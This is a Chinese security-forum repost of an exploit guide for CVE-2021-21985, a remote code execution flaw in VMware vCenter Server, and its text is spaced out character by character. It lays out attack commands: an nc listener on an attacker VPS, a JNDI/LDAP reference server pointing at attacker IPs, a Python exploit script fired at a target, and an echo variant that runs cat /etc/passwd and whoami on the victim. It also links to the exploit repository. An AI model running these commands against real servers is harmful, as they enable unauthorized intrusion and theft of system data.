搜索

[28992] 2021-06-06_CVE-2021-21985VMwarevCenterServer远程代码执行漏洞EXP（更新可回显EXP）

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2021-06-06_CVE-2021-21985VMwarevCenterServer远程代码执行漏洞EXP（更新可回显EXP） C V E - 2 0 2 1 - 2 1 9 8 5   V M w a r e   v C e n t e r   S e r v e r 远 程 代 码 执 行 漏 洞 E X P （ 更 新 可 回 显 E X P ） O t s 安 全   2 0 2 1 - 0 6 - 0 6 ▼ 更 多 精 彩 推 荐 ， 请 关 注 我 们 ▼ C V E - 2 0 2 1 - 2 1 9 8 5   E X P 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / r 0 c k y s e c / C V E - 2 0 2 1 - 2 1 9 8 5 本 文 以 及 工 具 开 发 技 术 ， 分 享 用 于 收 集 用 途 ， 其 他 产 生 的 一 切 后 果 自 己 承 担 。 0 x 0 1   利 用 T o m c a t   R M I   R C E J N D I 1 . V P S 启 动 监 听 1 0 9 9 端 口 r m i 需 要 绕 过 高 版 本 j d k 或 者 利 用 l d a p 协 议 ( 未 测 试 ) n c 2 . V P S 启 动 监 听 8 4 4 3 端 口 3 . 执 行 p y t h o n 脚 本 示 例 帮 助 j a v a   - j a r   J N D I I n j e c t i o n - B y p a s s . j a r   1 0 9 9   < c m d >   < r m i _ i p > j a v a   - c p   m a r s h a l s e c - 0 . 0 . 3 - S N A P S H O T - a l l . j a r   m a r s h a l s e c . j n d i . L D A P R e f S e r v e r   h t t p : / / i p : 8 0 8 0 / # E x p l o i t l d a p : / / i p : p o r t / E x p l o i t n c   - l v p   8 4 4 3 p y t h o n 3   C V E - 2 0 2 1 - 2 1 9 8 5 _ e x p . p y   < 目 标 >     <   r m i : / / i p / c l a s s   >
R C E ！ 0 x 0 2   构 造 可 回 显 构 造 可 回 显 R C E 原 理 ： 原 理 ： 1 . 构 造 构 造 x m l 文 件 文 件 2 . 压 缩 成 压 缩 成 z i p 3 . 注 入 系 统 属 性 注 入 系 统 属 性 4 . 通 过 通 过 g e t P r o p e r t y 获 取 内 存 中 命 令 结 果 获 取 内 存 中 命 令 结 果 执 行 执 行 C V E - 2 0 2 1 - 2 1 9 8 5 _ e c h o . p y 执 行   p y t h o n 3   C V E - 2 0 2 1 - 2 1 9 8 5 _ e c h o . p y   h t t p s : / / x x x x   <   c m d   >
执 行   c a t   / e t c / p a s s w d 参 考 参 考 h t t p s : / / w w w . i s w i n . o r g / 2 0 2 1 / 0 6 / 0 2 / V c e n t e r - S e r v e r - C V E - 2 0 2 1 - 2 1 9 8 5 - R C E - P A Y L O A D / h t t p s : / / a t t a c k e r k b . c o m / t o p i c s / X 8 5 G K j a V E R / c v e - 2 0 2 1 - 2 1 9 8 5 # r a p i d 7 - a n a l y s i s h t t p : / / n o a h b l o g . 3 6 0 . c n / v c e n t e r - c v e - 2 0 2 1 - 2 0 2 1 - 2 1 9 8 5 / 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / r 0 c k y s e c / C V E - 2 0 2 1 - 2 1 9 8 5 阅 读 原 文 w h o a m i
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理